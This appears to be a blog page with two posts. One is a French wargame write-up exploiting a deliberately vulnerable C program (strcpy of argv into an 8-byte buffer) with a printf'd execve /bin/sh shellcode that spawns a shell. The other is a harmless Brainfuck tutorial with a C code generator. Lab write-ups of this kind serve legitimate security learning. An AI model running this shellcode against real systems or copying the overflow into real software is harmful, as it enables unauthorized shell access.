// gcc -fno-stack-protector -mpreferred-stack-boundary=2 -Wall level1.c -o level1
// paxctl -c -p -s -m -r -x -s level1
//

#include <string.h>

int main(int argc, char * argv[])
{
    char buf[8];

    strcpy(buf, (char *)argv);

    return 0;
}

Comme d'hab', on va regarder le code assembleur :
level1@segment:~$ gdb ./level1 
Reading symbols from /home/level1/level1...(no debugging symbols found)...done.
gdb$ disassemble main
Dump of assembler code for function main:
   0x080483c4 <+0>: push   ebp
   0x080483c5 <+1>: mov    ebp,esp
   0x080483c7 <+3>: sub    esp,0x10
   0x080483ca <+6>: mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>: mov    DWORD PTR [esp+0x4],eax
   0x080483d1 <+13>: lea    eax,[ebp-0x8]
   0x080483d4 <+16>: mov    DWORD PTR [esp],eax
   0x080483d7 <+19>: call   0x80482fc <strcpy@plt>
   0x080483dc <+24>: mov    eax,0x0
   0x080483e1 <+29>: leave  
   0x080483e2 <+30>: ret    
End of assembler dump.
gdb$ quit

Bon reste plus qu'à poutrer ça le plus simplement du monde :).

En reconstruisant la stack de tête, on a un truc du genre:
ret
sfp
buffer+4
buffer

On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.

level1@segment:~$ ~/level1 a b `printf "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
$ 

Pawned,

Pour le level2 ça va attendre encore un petit moment,

m_101

mercredi 29 juin 2011

Brainfuck: Get ready to get your brain crushed!

Hello!

Here it is ... maybe another useless post about a useless langage :p.
Today, ... it will be about brainfuck!
The name really fit the langage ... cause in the end, your brain get completely crushed from it :p. Worst than ASM I swear :) ... but fun nonetheless ;).

Well, what can you do in brainfuck? Well basically anything, it's turing complete.

Let's first start with basic instructions.

Basic instructions

In Brainfuck you only have 8 instructions to remember:
inst  equivalent
>     ++ptr;
<     --ptr;
+     ++*ptr;
-     --*ptr;
.     putchar(*ptr);
,     *ptr=getchar();
[     while (*ptr) {
]     }

That's all you basically get :).

Let's see what we can do with it.

Hello world!

Brainfuck as you'll see is mostly about value generation than "real logic".

We would like to print the famous "Hello World!".
Well, brainfuck use the ASCII standard for its characters so we have to generate the ASCII value for H, e, l, etc un til we get our whole string.
This is done using loops, I generally do it using the following pattern:
counter = value; (power of 2: 2, 4, 8)
while (counter) {
    x += n;
    counter--;
}
if (odd)
    x += 1;
It basically is equivalent to:
odd: value * n + 1
even: value * n

For H we have the ASCII value of 72, this value is divisible by 8 (and 9).
counter = 8 and n = 9. It gives the following brainfuck code:
>++++++++[<+++++++++++++>-]<+>

Here is my code for "Hello World!":
>++++++++[<+++++++++>-]
>++++[<+++++++++++++++++++++++++>-]<+>
>++++[<+++++++++++++++++++++++++++>-]
>++++[<+++++++++++++++++++++++++++>-]
>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]<+>
>++++++++[<++++>-]
>++[<+++++++++++++++++++++++++++++++++++++++++++>-]<+>
>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]<+>
>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]
>++++[<+++++++++++++++++++++++++++>-]
>++++[<+++++++++++++++++++++++++>-]
>++++++++[<++++>-]<+>
<<<<<<<<<<<<
.>.>.>.>.>.>.>.>.>.>.>.>

Yeah it is complicated :).
Basically I first construct my whole string in memory then I go back to the beginning of the string and print it all.

Conditions

We will do the basic if ... else construct, afterward you will be able to construct more complex conditions.

The idea is to use the loop and execute only once depending of the value of a cell.
My construct is as follow:
[
[-]         make sure we execute the loop only once

put your code here

>
-
>        end the loop
]

<+       if we already went into the first branch then the cell = 0 and the loop doesn't execute
[
[-]         make sure we execute the loop only once

put another code here

>        end the loop
]

Try it with a different prepend such as nothing, ++++, ++++----, etc.

Addition

Let's say we want to add 3+1?

We would have the following brainfuck code for 3:
+++
And for 1:
+

Basically the idea is to decrement one of the cells and add it to the other using a loop.

The code:
+++    cell[0] = 3
>
+         cell[1] = 1

<         go to cell 0
[          while (cell[0]) {
-              --cell[0]
>+          cell++; ++cell[1]
<             go back to cell 0
]          }
And here it is, we have 4 in cell 1.

Substraction

It's the same principle as the addition but with the - symbol ;).

Multiplication

Look at the "Hello World!" part, that's how we do multiplication.

Division

Not really though about it.

That's it!

That's it for my post on brainfuck but if you want to continue the fun, feel free to do so.
Here is my brainfuck code generator for printing messages if you want to play with it a bit:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_LEN     1024

// construct a string with a n length and the same byte
unsigned char* repeat_byte (unsigned char byte, int n) {
    char *repeated;
    int idxRepeat;

    repeated = calloc(n + 1, sizeof(byte));
    for (idxRepeat = 0; idxRepeat < n; idxRepeat++) {
        repeated[idxRepeat] = byte;
    }

    return repeated;
}

/*
>  ++ptr;
<  --ptr;
+  ++*ptr;
-  --*ptr;
.  putchar(*ptr);
,  *ptr=getchar();
[  while (*ptr) {
]  }
*/
// generate value in cell[0]
char* val2bf (unsigned char byte) {
    char *bf;
    int remainder, maxcount, divisor;
    // index into brainfuck str
    int idxBf;
    //
    unsigned char *repeated;

    // allocation
    bf = calloc(MAX_LEN, sizeof(*bf));
    if (!bf)
        return NULL;

    // counter value
    remainder = byte % 8;
    if (remainder == 0 || remainder == 1)
        maxcount = 8;
    else {
        remainder = byte % 4;
        if (remainder == 0 || remainder == 1)
            maxcount = 4;
        else {
            remainder = byte % 2;
            maxcount = 2;
        }
    }

    divisor = (byte - remainder) / maxcount;

    //
    strncat(bf, ">", MAX_LEN - strlen(bf));

    //
    repeated = repeat_byte('+', maxcount);
    strncat(bf, repeated, MAX_LEN - strlen(bf));
    free(repeated);

    // loop
    strncat(bf, "[", MAX_LEN - strlen(bf));
    // go forward
    strncat(bf, "<", MAX_LEN - strlen(bf));
    // increment
    repeated = repeat_byte('+', divisor);
    strncat(bf, repeated, MAX_LEN - strlen(bf));
    free(repeated);
    // go back to counter
    strncat(bf, ">-", MAX_LEN - strlen(bf));
    // end loop
    strncat(bf, "]", MAX_LEN - strlen(bf));
    if (remainder)
        strncat(bf, "<+>", MAX_LEN - strlen(bf));

    // ajust allocation
    bf = realloc(bf, strlen(bf) + 1);

    return bf;
}

// ascii string to bf string
char* ascii2bf (char *ascii, int len) {
    char *bf, *bfVal, *rewind;
    //
    int idxAscii;
    //
    int szBf = MAX_LEN, lenBf = 0;

    // allocate memory
    bf = calloc(szBf, sizeof(*bf));
    if (!bf)
        return NULL;

    for (idxAscii = 0; idxAscii < len; idxAscii++) {
        bfVal = val2bf(ascii[idxAscii]);

        // track bf len and size
        lenBf += strlen(bfVal);
        if (lenBf > szBf) {
            szBf *= 2;
            bf = realloc(bf, szBf);
        }

        // construct bf string
        strncat(bf, bfVal, szBf - strlen(bf));
        strncat(bf, "\n", szBf - strlen(bf));
        free(bfVal);
    }
    // return to beginning of string
    rewind = repeat_byte('<', len);
    strncat(bf, rewind, szBf - strlen(bf));
    free(rewind);
    strncat(bf, "\n", szBf - strlen(bf));

    return bf;
}

// print given ascii string
char* bfPrint (char *ascii, int len) {
    char *bf = ascii2bf(ascii, len);
    int szBf;

    // bf size + free space ">." and null
    szBf = strlen(bf) + 2 * len + 1;
    bf = realloc(bf, szBf * sizeof(*bf));
    if (!bf)
        return NULL;

    while (len--)
        strncat(bf, ".>", szBf - strlen(bf));

    return bf;
}

int main (int argc, char *argv[]) {
    char *bf;

    // check arguments
    if (argc < 2) {
        printf("usage: %s str\n", argv[0]);
        return 1;
    }

    bf = bfPrint(argv[1], strlen(argv[1]));
    if (!bf)
        printf("Allocation failed\n");
    else {
        printf("%s\n", bf);
        free(bf);
    }        

    return 0;
}

It certainly does not generate optimized brainfuck code but at least it works :). Moreover, I digged out most of the important bugs so it should mostly be bug free ... should you find any bugs ... don't hesitate to tell me/contribute :p.

Conclusion

If you managed to survive up to here, you saw what is brainfuck, some stuffs we can do with it. Mostly an esoteric langage but still "fun" and "interesting" to study it for its theory.

Cheers,

Have fun,

m_101

Resources:
- Brainfuck on Wikipedia
- BrainFuck Beginners Tutorial
- Javascript Brainfuck Interpreter / Debugger
- Brainfuck JS (interpreter & debugger) 
- Brainfuck interpreter (JavaScript)
- Brainfuck Developer